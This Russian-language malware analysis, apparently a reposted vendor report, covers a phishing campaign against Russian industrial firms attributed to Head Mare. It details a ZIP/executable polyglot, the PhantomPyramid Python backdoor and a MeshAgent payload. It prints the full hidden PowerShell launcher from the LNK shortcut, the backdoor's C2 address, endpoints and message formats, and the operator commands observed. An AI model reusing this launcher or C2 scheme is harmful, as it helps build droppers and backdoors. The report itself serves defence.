
Введение
В марте мы обнаружили массовую рассылку, нацеленную на российские промышленные предприятия. Потенциальные жертвы получили однотипные письма от некоего секретариата с вложением «Заявка_[REDACTED]_5_03Д.zip».
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Пример письма
Отправители просят адресата подтвердить получение письма и ознакомиться с некой заявкой, якобы содержащей конфиденциальную информацию.
Вредоносный «архив»
Как и во многих других целевых рассылках, вложение в письме содержит вредоносный файл, но в этой рассылке есть своя особенность. Обычно злоумышленники отправляют запароленный архив, чтобы избежать автоматического сканирования вложения, и на первый взгляд так поступили и в нашем случае. Однако на самом деле авторы рассылки использовали технику polyglot.Эта вредоносная техника позволяет атакующим создавать файлы, которые могут быть прочитаны разными системами и интерпретированы как несколько разных форматов. В частности, они могут одновременно содержать и компоненты безобидного файла, и вредоносный код, в том числе на нескольких языках программирования.
В результате один и тот же файл может быть распознан как изображение, документ или исполняемый файл, в зависимости от контекста, в котором его открывают. Так, несмотря на расширение ZIP, файл «Заявка_[REDACTED]_5_03Д.zip» является бинарным исполняемым файлом, в конце которого был дописан небольшой ZIP-архив. Такая уловка позволяет открыть и просмотреть содержимое архива в стандартном файловом менеджере Windows Explorer, как будто кроме него в файле ничего нет.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Содержимое архива
Внутри архива с паролем 2525 можно найти ярлык «Заявка_[REDACTED]_5_03Д.pdf.lnk» (MD5:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
). Если пользователь откроет его, то будет запущен интерпретатор powershell.exe со следующими аргументами:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Заявка_[REDACTED]_5_03Д.zip'; if(Test-Path $r) { cmd.exe /c start /B $r; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter 'Заявка_[REDACTED]_5_03Д.zip' | Select-Object -First 1); if($f) { $r=$f.FullName; cmd.exe /c start /B $f.FullName; }; }; if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter "Заявка_[REDACTED]_5_03Д.zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes( [System.IO.Path]::Combine('%temp%','Заявка_[REDACTED]_5_03Д.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 7166046 -First 147100) ); Start-Process -FilePath $([System.IO.Path]::Combine('%temp%', 'Заявка_[REDACTED]_5_03Д.pdf')); |
Этот сценарий найдет файл «Заявка[REDACTED]_5_03Д.zip», содержащий бэкдор, и запустит его как исполняемый при помощи команды start. Также он извлечет часть содержимого файла «Заявка[REDACTED]5_03Д.zip» (147 100 байт начиная с байта 7 166 046), сохранит его как «Заявка[REDACTED]_5_03Д.pdf» во временном каталоге и запустит его. В результате пользователь увидит документ-приманку с заявкой на ремонт оборудования якобы от одного из министерств.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Документ-приманка
Backdoor PhantomPyramid
Исполняемая часть polyglot-файла представляет собой бэкдор, написанный на Python версии 3.8 и скомпилированный с использованием PyInstaller.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
При запуске бэкдор формирует запрос с полями uid, private_ip и public_ip и отправляет его в формате JSON на адрес http://109.107.182[.]11/hello.
1 | {"uid":<uid>,"private_ip":<private_ip>, "public_ip": <public_ip>} |
Поле uid содержит идентификатор, который генерируется случайным образом. Для получения значения public_ip скрипт использует публичный сервис api.ipify.org. В свою очередь, значение поля private_ip — это IP-адрес устройства внутри локальной сети, который бэкдор получает в результате выполнения функций socket.gethostbyname(socket.gethostname()). После отправки данных от командного центра должен прийти ответ об успешной регистрации бота.
1 | {"message":"Client registered","status":"success"} |
Затем бэкдор начинает опрашивать адрес http://109.107.182[.]11/task?uid={uid} в цикле и пытается получить команду, которую выполнит с использованием функции Python subprocess.run. Если команда начинается с префикса process, то вместо subprocess.run будет использована функция subprocess.Popen.
Дополнительно в бэкдоре реализована еще одна команда — load. Она позволяет злоумышленнику загружать на зараженную машину любые другие вредоносные компоненты с адреса, переданного вместе с командой, и сохранять их по указанному пути. Результаты выполнения команд бот отправляет на адрес http://109.107.182[.]11/result в формате JSON вида:
1 | {"uid":<uid>,"result":<result>} |
1 2 3 4 5 6 7 8 | arp -a dir whoami nslookup 127.0.0.1 nslookup 127.0.0.2 shutdown shutdown /f load
Для просмотра ссылки необходимо нажать
Вход или Регистрация
C:\\ProgramData |
Кроме того, нам удалось получить один из загружаемых командой load компонентов, которым оказалось ПО MeshAgent — агент для удаленного управления устройствами с открытым исходным кодом, входящий в решение MeshCentral. Это легитимное ПО, которое, однако, используют и организации, и злоумышленники. В частности, оно присутствует в арсенале группы
Для просмотра ссылки необходимо нажать
Вход или Регистрация
.Жертвы
Жертвами стали российские промышленные предприятия. По данным нашей телеметрии письма получили свыше 800 пользователей примерно из сотни организаций.Атрибуция
Мы изучили несколько других образцов MeshAgent, которые ранее поступали к нам на анализ, и нашли агент с похожим файлом настроек (MD5:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
)
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Содержимое файла настроек MeshAgent из рассматриваемой кампании (сверху) и схожего образца MeshAgent (снизу)
Как можно заметить, в них совпадают поля ServerID, displayName, description, CompanyName, meshServiceName и fileName. Стоит отметить, что в этом агенте в качестве сервера указан домен updourlan[.]ru, который ранее был замечен в атаках Head Mare с использованием бэкдора PhantomJitter. Подробнее об этих индикаторах можно прочитать в отчете, доступном подписчикам
Для просмотра ссылки необходимо нажать
Вход или Регистрация
: HeadMare’s new PhantomJitter backdoor dropped in attacks exploiting Microsoft Exchange.Заключение
Злоумышленники постоянно обновляют свои приемы и вредоносное ПО. В описанной кампании, которую мы с высокой степенью уверенности приписываем группе Head Mare, атакующие использовали технику polyglot, которую мы раньше не видели в их арсенале, а также новый бэкдор на Python. Чтобы оставаться на шаг впереди атакующих, организациям нужно обладать самыми актуальными данными об их TTP, получая информацию как из собственных систем, так и из сервисов
Для просмотра ссылки необходимо нажать
Вход или Регистрация
.
Для просмотра ссылки необходимо нажать
Вход или Регистрация